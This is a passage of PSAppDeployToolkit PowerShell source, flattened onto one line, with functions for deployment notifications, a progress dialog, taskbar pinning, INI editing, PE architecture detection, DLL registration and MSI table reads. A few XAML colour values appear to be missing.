(Test-PowerPoint)) { Return } If ($script:notifyIcon) { Try { $script:notifyIcon.Dispose() } Catch {} } Try { [string]$callingFunction = (Get-Variable -Name MyInvocation -Scope 1).Value.Mycommand.Name } Catch { } If ($callingFunction -eq 'Exit-Script') { Write-Log -Message "Display balloon tip notification asynchronously with message [$BalloonTipText]." -Source ${CmdletName} [scriptblock]$notifyIconScriptBlock = { Param ( [Parameter(Mandatory=$true,Position=0)] [ValidateNotNullOrEmpty()] [string]$BalloonTipText, [Parameter(Mandatory=$false,Position=1)] [ValidateNotNullorEmpty()] [string]$BalloonTipTitle, [Parameter(Mandatory=$false,Position=2)] [ValidateSet('Error','Info','None','Warning')] $BalloonTipIcon, [Parameter(Mandatory=$false,Position=3)] [ValidateNotNullorEmpty()] [int32]$BalloonTipTime, [Parameter(Mandatory=$false,Position=4)] [ValidateNotNullorEmpty()] [string]$AppDeployLogoIcon ) Add-Type -AssemblyName 'System.Windows.Forms' -ErrorAction 'Stop' Add-Type -AssemblyName 'System.Drawing' -ErrorAction 'Stop' [Windows.Forms.ToolTipIcon]$BalloonTipIcon = $BalloonTipIcon $script:notifyIcon = New-Object -TypeName 'System.Windows.Forms.NotifyIcon' -Property @{ BalloonTipIcon = $BalloonTipIcon BalloonTipText = $BalloonTipText BalloonTipTitle = $BalloonTipTitle Icon = New-Object -TypeName 'System.Drawing.Icon' -ArgumentList $AppDeployLogoIcon Text = -join $BalloonTipText[0..62] Visible = $true } $script:NotifyIcon.ShowBalloonTip($BalloonTipTime) Start-Sleep -Milliseconds ($BalloonTipTime) $script:notifyIcon.Dispose() } Try { Execute-Process -Path "$PSHOME\powershell.exe" -Parameters "-ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -Command & {$notifyIconScriptBlock} '$BalloonTipText' '$BalloonTipTitle' '$BalloonTipIcon' '$BalloonTipTime' '$AppDeployLogoIcon'" -NoWait -WindowStyle 'Hidden' -CreateNoWindow } Catch { } } Else { Write-Log -Message "Display balloon tip notification with message [$BalloonTipText]." -Source ${CmdletName} [Windows.Forms.ToolTipIcon]$BalloonTipIcon = $BalloonTipIcon $script:notifyIcon = New-Object -TypeName 'System.Windows.Forms.NotifyIcon' -Property @{ BalloonTipIcon = $BalloonTipIcon BalloonTipText = $BalloonTipText BalloonTipTitle = $BalloonTipTitle Icon = New-Object -TypeName 'System.Drawing.Icon' -ArgumentList $AppDeployLogoIcon Text = -join $BalloonTipText[0..62] Visible = $true } $script:NotifyIcon.ShowBalloonTip($BalloonTipTime) } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Show-InstallationProgress { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$StatusMessage = $configProgressMessageInstall, [Parameter(Mandatory=$false)] [ValidateSet('Default','BottomRight')] [string]$WindowLocation = 'Default', [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$TopMost = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deployModeSilent) { Return } If (($StatusMessage -eq $configProgressMessageInstall) -and ($deploymentType -eq 'Uninstall')) { $StatusMessage = $configProgressMessageUninstall } If ($envHost.Name -match 'PowerGUI') { Write-Log -Message "$($envHost.Name) is not a supported host for WPF multi-threading. Progress dialog with message [$statusMessage] will not be displayed." -Severity 2 -Source ${CmdletName} Return } If ($script:ProgressSyncHash.Window.Dispatcher.Thread.ThreadState -ne 'Running') { $balloonText = "$deploymentTypeName $configBalloonTextStart" Show-BalloonTip -BalloonTipIcon 'Info' -BalloonTipText $balloonText $script:ProgressSyncHash = [hashtable]::Synchronized(@{ }) $script:ProgressRunspace = [runspacefactory]::CreateRunspace() $script:ProgressRunspace.ApartmentState = 'STA' $script:ProgressRunspace.ThreadOptions = 'ReuseThread' $script:ProgressRunspace.Open() $script:ProgressRunspace.SessionStateProxy.SetVariable('progressSyncHash', $script:ProgressSyncHash) $script:ProgressRunspace.SessionStateProxy.SetVariable('installTitle', $installTitle) $script:ProgressRunspace.SessionStateProxy.SetVariable('windowLocation', $windowLocation) $script:ProgressRunspace.SessionStateProxy.SetVariable('topMost', $topMost.ToString()) $script:ProgressRunspace.SessionStateProxy.SetVariable('appDeployLogoBanner', $appDeployLogoBanner) $script:ProgressRunspace.SessionStateProxy.SetVariable('appDeployLogoBannerHeight', $appDeployLogoBannerHeight) $script:ProgressRunspace.SessionStateProxy.SetVariable('appDeployLogoBannerHeightDifference', $appDeployLogoBannerHeightDifference) $script:ProgressRunspace.SessionStateProxy.SetVariable('ProgressStatusMessage', $statusMessage) $script:ProgressRunspace.SessionStateProxy.SetVariable('AppDeployLogoIcon', $AppDeployLogoIcon) $script:ProgressRunspace.SessionStateProxy.SetVariable('dpiScale', $dpiScale) $progressCmd = [PowerShell]::Create().AddScript({ [string]$xamlProgressString = @' <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" x:Name="Window" Title="PSAppDeployToolkit" MaxHeight="%MaxHeight%" MinHeight="%MinHeight%" Height="%Height%" MaxWidth="456" MinWidth="456" Width="456" Padding="0,0,0,0" Margin="0,0,0,0" WindowStartupLocation = "Manual" Top="0" Left="0" Topmost="True" ResizeMode="NoResize" Icon="" ShowInTaskbar="True"> <Window.Resources> <Storyboard x:Key="Storyboard1" RepeatBehavior="Forever"> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Storyboard.TargetName="ellipse" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[2].(RotateTransform.Angle)"> <SplineDoubleKeyFrame KeyTime="00:00:02" Value="360"/> </DoubleAnimationUsingKeyFrames> </Storyboard> </Window.Resources> <Window.Triggers> <EventTrigger RoutedEvent="FrameworkElement.Loaded"> <BeginStoryboard Storyboard="{StaticResource Storyboard1}"/> </EventTrigger> </Window.Triggers> <Grid Background=" <Grid.RowDefinitions> <RowDefinition Height="%BannerHeight%"/> <RowDefinition Height="100"/> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition Width="45"></ColumnDefinition> <ColumnDefinition Width="*"></ColumnDefinition> </Grid.ColumnDefinitions> <Image x:Name = "ProgressBanner" Grid.ColumnSpan="2" Margin="0,0,0,0" Source=""></Image> <TextBlock x:Name = "ProgressText" Grid.Row="1" Grid.Column="1" Margin="0,5,45,10" Text="" FontSize="15" FontFamily="Microsoft Sans Serif" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" Padding="15" TextWrapping="Wrap"></TextBlock> <Ellipse x:Name = "ellipse" Grid.Row="1" Grid.Column="0" Margin="0,0,0,0" StrokeThickness="5" RenderTransformOrigin="0.5,0.5" Height="25" Width="25" HorizontalAlignment="Right" VerticalAlignment="Center"> <Ellipse.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> </TransformGroup> </Ellipse.RenderTransform> <Ellipse.Stroke> <LinearGradientBrush EndPoint="0.445,0.997" StartPoint="0.555,0.003"> <GradientStop Color="White" Offset="0"/> <GradientStop Color=" </LinearGradientBrush> </Ellipse.Stroke> </Ellipse> </Grid> </Window> '@ $xamlProgressString = $xamlProgressString.replace('%BannerHeight%', $appDeployLogoBannerHeight).replace('%Height%', 180 + $appDeployLogoBannerHeightDifference).replace('%MinHeight%', 180 + $appDeployLogoBannerHeightDifference).replace('%MaxHeight%', 200 + $appDeployLogoBannerHeightDifference) [Xml.XmlDocument]$xamlProgress = New-Object 'System.Xml.XmlDocument' $xamlProgress.LoadXml($xamlProgressString) $screen = [Windows.Forms.Screen]::PrimaryScreen $screenWorkingArea = $screen.WorkingArea [int32]$screenWidth = $screenWorkingArea | Select-Object -ExpandProperty 'Width' [int32]$screenHeight = $screenWorkingArea | Select-Object -ExpandProperty 'Height' If ($windowLocation -eq 'BottomRight') { $xamlProgress.Window.Left = [string](($screenWidth / ($dpiscale / 100)) - ($xamlProgress.Window.Width)) $xamlProgress.Window.Top = [string](($screenHeight / ($dpiscale / 100)) - ($xamlProgress.Window.Height)) } Else { $xamlProgress.Window.Left = [string](($screenWidth / (2 * ($dpiscale / 100) )) - (($xamlProgress.Window.Width / 2))) $xamlProgress.Window.Top = [string]($screenHeight / 9.5) } $xamlProgress.Window.TopMost = $topMost $xamlProgress.Window.Icon = $AppDeployLogoIcon $xamlProgress.Window.Grid.Image.Source = $appDeployLogoBanner $xamlProgress.Window.Grid.TextBlock.Text = $ProgressStatusMessage $xamlProgress.Window.Title = $installTitle $progressReader = New-Object -TypeName 'System.Xml.XmlNodeReader' -ArgumentList $xamlProgress $script:ProgressSyncHash.Window = [Windows.Markup.XamlReader]::Load($progressReader) $script:ProgressSyncHash.Window.add_Loaded({ [IntPtr]$windowHandle = (New-Object -TypeName System.Windows.Interop.WindowInteropHelper -ArgumentList $this).Handle If ($null -ne $windowHandle) { [IntPtr]$menuHandle = [PSADT.UiAutomation]::GetSystemMenu($windowHandle, $false) If ($menuHandle -ne [IntPtr]::Zero) { [PSADT.UiAutomation]::EnableMenuItem($menuHandle, 0xF060, 0x00000001) [PSADT.UiAutomation]::DestroyMenu($menuHandle) } } }) $script:ProgressSyncHash.ProgressText = $script:ProgressSyncHash.Window.FindName('ProgressText') $script:ProgressSyncHash.Window.Add_Closing({ $_.Cancel = $true }) $script:ProgressSyncHash.Window.Add_MouseLeftButtonDown({ $script:ProgressSyncHash.Window.DragMove() }) $script:ProgressSyncHash.Window.ToolTip = $installTitle $null = $script:ProgressSyncHash.Window.ShowDialog() $script:ProgressSyncHash.Error = $Error }) $progressCmd.Runspace = $script:ProgressRunspace Write-Log -Message "Spin up progress dialog in a separate thread with message: [$statusMessage]." -Source ${CmdletName} $progressData = $progressCmd.BeginInvoke() Start-Sleep -Seconds 1 If ($script:ProgressSyncHash.Error) { Write-Log -Message "Failure while displaying progress dialog. `n$(Resolve-Error -ErrorRecord $script:ProgressSyncHash.Error)" -Severity 3 -Source ${CmdletName} } } ElseIf ($script:ProgressSyncHash.Window.Dispatcher.Thread.ThreadState -eq 'Running') { Try { $script:ProgressSyncHash.Window.Dispatcher.Invoke([Windows.Threading.DispatcherPriority]'Send', [Windows.Input.InputEventHandler]{ $script:ProgressSyncHash.ProgressText.Text = $statusMessage }, $null, $null) Write-Log -Message "Updated progress message: [$statusMessage]." -Source ${CmdletName} } Catch { Write-Log -Message "Unable to update the progress message. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Close-InstallationProgress { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($script:ProgressSyncHash.Window.Dispatcher.Thread.ThreadState -eq 'Running') { Write-Log -Message 'Close the installation progress dialog.' -Source ${CmdletName} $script:ProgressSyncHash.Window.Dispatcher.InvokeShutdown() $script:ProgressSyncHash.Clear() $script:ProgressRunspace.Close() } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-PinnedApplication { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateSet('PintoStartMenu','UnpinfromStartMenu','PintoTaskbar','UnpinfromTaskbar')] [string]$Action, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$FilePath ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header Function Get-PinVerb { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [int32]$VerbId ) [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-Log -Message "Get localized pin verb for verb id [$VerbID]." -Source ${CmdletName} [string]$PinVerb = [PSADT.FileVerb]::GetPinVerb($VerbId) Write-Log -Message "Verb ID [$VerbID] has a localized pin verb of [$PinVerb]." -Source ${CmdletName} Write-Output -InputObject $PinVerb } Function Invoke-Verb { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$FilePath, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Verb ) Try { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name $verb = $verb.Replace('&','') $path = Split-Path -Path $FilePath -Parent -ErrorAction 'Stop' $folder = $shellApp.Namespace($path) $item = $folder.ParseName((Split-Path -Path $FilePath -Leaf -ErrorAction 'Stop')) $itemVerb = $item.Verbs() | Where-Object { $_.Name.Replace('&','') -eq $verb } -ErrorAction 'Stop' If ($null -eq $itemVerb) { Write-Log -Message "Performing action [$verb] is not programmatically supported for this file [$FilePath]." -Severity 2 -Source ${CmdletName} } Else { Write-Log -Message "Perform action [$verb] on [$FilePath]." -Source ${CmdletName} $itemVerb.DoIt() } } Catch { Write-Log -Message "Failed to perform action [$verb] on [$FilePath]. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } } If (([version]$envOSVersion).Major -ge 10) { Write-Log -Message "Detected Windows 10 or higher, using Windows 10 verb codes." -Source ${CmdletName} [hashtable]$Verbs = @{ 'PintoStartMenu' = 51201 'UnpinfromStartMenu' = 51394 'PintoTaskbar' = 5386 'UnpinfromTaskbar' = 5387 } } Else { [hashtable]$Verbs = @{ 'PintoStartMenu' = 5381 'UnpinfromStartMenu' = 5382 'PintoTaskbar' = 5386 'UnpinfromTaskbar' = 5387 } } } Process { Try { Write-Log -Message "Execute action [$Action] for file [$FilePath]." -Source ${CmdletName} If (-not (Test-Path -LiteralPath $FilePath -PathType 'Leaf' -ErrorAction 'Stop')) { Throw "Path [$filePath] does not exist." } If (-not ($Verbs.$Action)) { Throw "Action [$Action] not supported. Supported actions are [$($Verbs.Keys -join ', ')]." } If ($Action.Contains("StartMenu")) { If ([int]$envOSVersionMajor -ge 10) { If ((Get-Item -Path $FilePath).Extension -ne '.lnk') { Throw "Only shortcut files (.lnk) are supported on Windows 10 and higher." } ElseIf (-not ($FilePath.StartsWith($envUserStartMenu) -or $FilePath.StartsWith($envCommonStartMenu))) { Throw "Only shortcut files (.lnk) in [$envUserStartMenu] and [$envCommonStartMenu] are supported on Windows 10 and higher." } } [string]$PinVerbAction = Get-PinVerb -VerbId $Verbs.$Action If (-not ($PinVerbAction)) { Throw "Failed to get a localized pin verb for action [$Action]. Action is not supported on this operating system." } Invoke-Verb -FilePath $FilePath -Verb $PinVerbAction } ElseIf ($Action.Contains("Taskbar")) { If ([int]$envOSVersionMajor -ge 10) { $FileNameWithoutExtension = [System.IO.Path]::GetFileNameWithoutExtension($FilePath) $PinExists = Test-Path -Path "$envAppData\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\$($FileNameWithoutExtension).lnk" If ($Action -eq 'PintoTaskbar' -and $PinExists) { If($(Invoke-ObjectMethod -InputObject $Shell -MethodName 'CreateShortcut' -ArgumentList "$envAppData\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\$($FileNameWithoutExtension).lnk").TargetPath -eq $FilePath) { Write-Log -Message "Pin [$FileNameWithoutExtension] already exists." -Source ${CmdletName} return } } ElseIf ($Action -eq 'UnpinfromTaskbar' -and $PinExists -eq $false) { Write-Log -Message "Pin [$FileNameWithoutExtension] does not exist." -Source ${CmdletName} return } $ExplorerCommandHandler = Get-RegistryKey -Key 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.taskbarpin' -Value 'ExplorerCommandHandler' $classesStarKey = (Get-Item "Registry::HKEY_USERS\$($RunasActiveUser.SID)\SOFTWARE\Classes").OpenSubKey("*", $true) $shellKey = $classesStarKey.CreateSubKey("shell", $true) $specialKey = $shellKey.CreateSubKey("{:}", $true) $specialKey.SetValue("ExplorerCommandHandler", $ExplorerCommandHandler) $Folder = Invoke-ObjectMethod -InputObject $ShellApp -MethodName 'Namespace' -ArgumentList $(Split-Path -Path $FilePath -Parent) $Item = Invoke-ObjectMethod -InputObject $Folder -MethodName 'ParseName' -ArgumentList $(Split-Path -Path $FilePath -Leaf) $Item.InvokeVerb("{:}") $shellKey.DeleteSubKey("{:}") If ($shellKey.SubKeyCount -eq 0 -and $shellKey.ValueCount -eq 0) { $classesStarKey.DeleteSubKey("shell") } } Else { [string]$PinVerbAction = Get-PinVerb -VerbId $Verbs.$Action If (-not ($PinVerbAction)) { Throw "Failed to get a localized pin verb for action [$Action]. Action is not supported on this operating system." } Invoke-Verb -FilePath $FilePath -Verb $PinVerbAction } } } Catch { Write-Log -Message "Failed to execute action [$Action]. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } Finally { Try { If ($shellKey) { $shellKey.Close() } } Catch { } Try { If ($classesStarKey) { $classesStarKey.Close() } } Catch { } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-IniValue { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$FilePath, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Section, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Key, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Read INI Key: [Section = $Section] [Key = $Key]." -Source ${CmdletName} If (-not (Test-Path -LiteralPath $FilePath -PathType 'Leaf')) { Throw "File [$filePath] could not be found." } $IniValue = [PSADT.IniFile]::GetIniValue($Section, $Key, $FilePath) Write-Log -Message "INI Key Value: [Section = $Section] [Key = $Key] [Value = $IniValue]." -Source ${CmdletName} Write-Output -InputObject $IniValue } Catch { Write-Log -Message "Failed to read INI file key value. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to read INI file key value: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-IniValue { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$FilePath, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Section, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Key, [Parameter(Mandatory=$true)] [AllowNull()] $Value, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Write INI Key Value: [Section = $Section] [Key = $Key] [Value = $Value]." -Source ${CmdletName} If (-not (Test-Path -LiteralPath $FilePath -PathType 'Leaf')) { Throw "File [$filePath] could not be found." } [PSADT.IniFile]::SetIniValue($Section, $Key, ([Text.StringBuilder]$Value), $FilePath) } Catch { Write-Log -Message "Failed to write INI file key value. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to write INI file key value: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-PEFileArchitecture { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Leaf' })] [IO.FileInfo[]]$FilePath, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true, [Parameter(Mandatory=$false)] [switch]$PassThru ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [string[]]$PEFileExtensions = '.exe', '.dll', '.ocx', '.drv', '.sys', '.scr', '.efi', '.cpl', '.fon' [int32]$MACHINE_OFFSET = 4 [int32]$PE_POINTER_OFFSET = 60 } Process { ForEach ($Path in $filePath) { Try { If ($PEFileExtensions -notcontains $Path.Extension) { Throw "Invalid file type. Please specify one of the following PE file types: $($PEFileExtensions -join ', ')" } [byte[]]$data = New-Object -TypeName 'System.Byte[]' -ArgumentList 4096 $stream = New-Object -TypeName 'System.IO.FileStream' -ArgumentList ($Path.FullName, 'Open', 'Read') $null = $stream.Read($data, 0, 4096) $stream.Flush() $stream.Close() [int32]$PE_HEADER_ADDR = [BitConverter]::ToInt32($data, $PE_POINTER_OFFSET) [uint16]$PE_IMAGE_FILE_HEADER = [BitConverter]::ToUInt16($data, $PE_HEADER_ADDR + $MACHINE_OFFSET) Switch ($PE_IMAGE_FILE_HEADER) { 0 { $PEArchitecture = 'Native' } 0x014c { $PEArchitecture = '32BIT' } 0x0200 { $PEArchitecture = 'Itanium-x64' } 0x8664 { $PEArchitecture = '64BIT' } Default { $PEArchitecture = 'Unknown' } } Write-Log -Message "File [$($Path.FullName)] has a detected file architecture of [$PEArchitecture]." -Source ${CmdletName} If ($PassThru) { Get-Item -LiteralPath $Path.FullName -Force | Add-Member -MemberType 'NoteProperty' -Name 'BinaryType' -Value $PEArchitecture -Force -PassThru | Write-Output } Else { Write-Output -InputObject $PEArchitecture } } Catch { Write-Log -Message "Failed to get the PE file architecture. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to get the PE file architecture: $($_.Exception.Message)" } Continue } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Invoke-RegisterOrUnregisterDLL { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$FilePath, [Parameter(Mandatory=$false)] [ValidateSet('Register','Unregister')] [string]$DLLAction, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [string]${InvokedCmdletName} = $MyInvocation.InvocationName If (${InvokedCmdletName} -ne ${CmdletName}) { Switch (${InvokedCmdletName}) { 'Register-DLL' { [string]$DLLAction = 'Register' } 'Unregister-DLL' { [string]$DLLAction = 'Unregister' } } } If (-not $DLLAction) { Throw 'Parameter validation failed. Please specify the [-DLLAction] parameter to determine whether to register or unregister the DLL.' } [string]$DLLAction = ((Get-Culture).TextInfo).ToTitleCase($DLLAction.ToLower()) Switch ($DLLAction) { 'Register' { [string]$DLLActionParameters = "/s `"$FilePath`"" } 'Unregister' { [string]$DLLActionParameters = "/s /u `"$FilePath`"" } } } Process { Try { Write-Log -Message "$DLLAction DLL file [$filePath]." -Source ${CmdletName} If (-not (Test-Path -LiteralPath $FilePath -PathType 'Leaf')) { Throw "File [$filePath] could not be found." } [string]$DLLFileBitness = Get-PEFileArchitecture -FilePath $filePath -ContinueOnError $false -ErrorAction 'Stop' If (($DLLFileBitness -ne '64BIT') -and ($DLLFileBitness -ne '32BIT')) { Throw "File [$filePath] has a detected file architecture of [$DLLFileBitness]. Only 32-bit or 64-bit DLL files can be $($DLLAction.ToLower() + 'ed')." } If ($Is64Bit) { If ($DLLFileBitness -eq '64BIT') { If ($Is64BitProcess) { [string]$RegSvr32Path = "$envWinDir\system32\regsvr32.exe" } Else { [string]$RegSvr32Path = "$envWinDir\sysnative\regsvr32.exe" } } ElseIf ($DLLFileBitness -eq '32BIT') { [string]$RegSvr32Path = "$envWinDir\SysWOW64\regsvr32.exe" } } Else { If ($DLLFileBitness -eq '64BIT') { Throw "File [$filePath] cannot be $($DLLAction.ToLower()) because it is a 64-bit file on a 32-bit operating system." } ElseIf ($DLLFileBitness -eq '32BIT') { [string]$RegSvr32Path = "$envWinDir\system32\regsvr32.exe" } } [psobject]$ExecuteResult = Execute-Process -Path $RegSvr32Path -Parameters $DLLActionParameters -WindowStyle 'Hidden' -PassThru If ($ExecuteResult.ExitCode -ne 0) { If ($ExecuteResult.ExitCode -eq 60002) { Throw "Execute-Process function failed with exit code [$($ExecuteResult.ExitCode)]." } Else { Throw "regsvr32.exe failed with exit code [$($ExecuteResult.ExitCode)]." } } } Catch { Write-Log -Message "Failed to $($DLLAction.ToLower()) DLL file. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to $($DLLAction.ToLower()) DLL file: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Set-Alias -Name 'Register-DLL' -Value 'Invoke-RegisterOrUnregisterDLL' -Scope 'Script' -Force -ErrorAction 'SilentlyContinue' Set-Alias -Name 'Unregister-DLL' -Value 'Invoke-RegisterOrUnregisterDLL' -Scope 'Script' -Force -ErrorAction 'SilentlyContinue' Function Invoke-ObjectMethod { [CmdletBinding(DefaultParameterSetName='Positional')] Param ( [Parameter(Mandatory=$true,Position=0)] [ValidateNotNull()] [object]$InputObject, [Parameter(Mandatory=$true,Position=1)] [ValidateNotNullorEmpty()] [string]$MethodName, [Parameter(Mandatory=$false,Position=2,ParameterSetName='Positional')] [object[]]$ArgumentList, [Parameter(Mandatory=$true,Position=2,ParameterSetName='Named')] [ValidateNotNull()] [hashtable]$Parameter ) Begin { } Process { If ($PSCmdlet.ParameterSetName -eq 'Named') { Write-Output -InputObject $InputObject.GetType().InvokeMember($MethodName, [Reflection.BindingFlags]::InvokeMethod, $null, $InputObject, ([object[]]($Parameter.Values)), $null, $null, ([string[]]($Parameter.Keys))) } Else { Write-Output -InputObject $InputObject.GetType().InvokeMember($MethodName, [Reflection.BindingFlags]::InvokeMethod, $null, $InputObject, $ArgumentList, $null, $null, $null) } } End { } } Function Get-ObjectProperty { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,Position=0)] [ValidateNotNull()] [object]$InputObject, [Parameter(Mandatory=$true,Position=1)] [ValidateNotNullorEmpty()] [string]$PropertyName, [Parameter(Mandatory=$false,Position=2)] [object[]]$ArgumentList ) Begin { } Process { Write-Output -InputObject $InputObject.GetType().InvokeMember($PropertyName, [Reflection.BindingFlags]::GetProperty, $null, $InputObject, $ArgumentList, $null, $null, $null) } End { } } Function Get-MsiTableProperty { [CmdletBinding(DefaultParameterSetName='TableInfo')] Param ( [Parameter(Mandatory=$true)] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Leaf' })] [string]$Path, [Parameter(Mandatory=$false)] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Leaf' })] [string[]]$TransformPath, [Parameter(Mandatory=$false,ParameterSetName='TableInfo')] [ValidateNotNullOrEmpty()] [string]$Table = $(If ([IO.Path]::GetExtension($Path) -eq '.msi') { 'Property' } Else { 'MsiPatchMetadata' }), [Parameter(Mandatory=$false,ParameterSetName='TableInfo')] [ValidateNotNullorEmpty()] [int32]$TablePropertyNameColumnNum = $(If ([IO.Path]::GetExtension($Path) -eq '.msi') { 1 } Else { 2 }), [Parameter(Mandatory=$false,ParameterSetName='TableInfo')] [ValidateNotNullorEmpty()] [int32]$TablePropertyValueColumnNum = $(If ([IO.Path]::GetExtension($Path) -eq '.msi') { 2 } Else { 3 }), [Parameter(Mandatory=$true,ParameterSetName='SummaryInfo')] [ValidateNotNullorEmpty()] [switch]$GetSummaryInformation = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ($PSCmdlet.ParameterSetName -eq 'TableInfo') { Write-Log -Message "Read data from Windows Installer database file [$Path] in table [$Table]." -Source ${CmdletName} } Else { Write-Log -Message "Read the Summary Information from the Windows Installer database file [$Path]." -Source ${CmdletName} } [__comobject]$Installer = New-Object -ComObject 'WindowsInstaller.Installer' -ErrorAction 'Stop' If ([IO.Path]::GetExtension($Path) -eq '.msp') { [boolean]$IsMspFile = $true } [int32]$msiOpenDatabaseModeReadOnly = 0 [int32]$msiSuppressApplyTransformErrors = 63 [int32]$msiOpenDatabaseMode = $msiOpenDatabaseModeReadOnly [int32]$msiOpenDatabaseModePatchFile = 32 If ($IsMspFile) { [int32]$msiOpenDatabaseMode = $msiOpenDatabaseModePatchFile } [__comobject]$Database = Invoke-ObjectMethod -InputObject $Installer -MethodName 'OpenDatabase' -ArgumentList @($Path, $msiOpenDatabaseMode) If (($TransformPath) -and (-not $IsMspFile)) { ForEach ($Transform in $TransformPath) { $null = Invoke-ObjectMethod -InputObject $Database -MethodName 'ApplyTransform' -ArgumentList @($Transform, $msiSuppressApplyTransformErrors) } } If ($PSCmdlet.ParameterSetName -eq 'TableInfo') { [__comobject]$View = Invoke-ObjectMethod -InputObject $Database -MethodName 'OpenView' -ArgumentList @("SELECT * FROM $Table") $null = Invoke-ObjectMethod -InputObject $View -MethodName 'Execute' [psobject]$TableProperties = New-Object -TypeName 'PSObject' [__comobject]$Record = Invoke-ObjectMethod -InputObject $View -MethodName 'Fetch' While ($Record) { $TableProperties | Add-Member -MemberType 'NoteProperty' -Name (Get-ObjectProperty -InputObject $Record -PropertyName 'StringData' -ArgumentList @($TablePropertyNameColumnNum)) -Value (Get-ObjectProperty -InputObject $Record 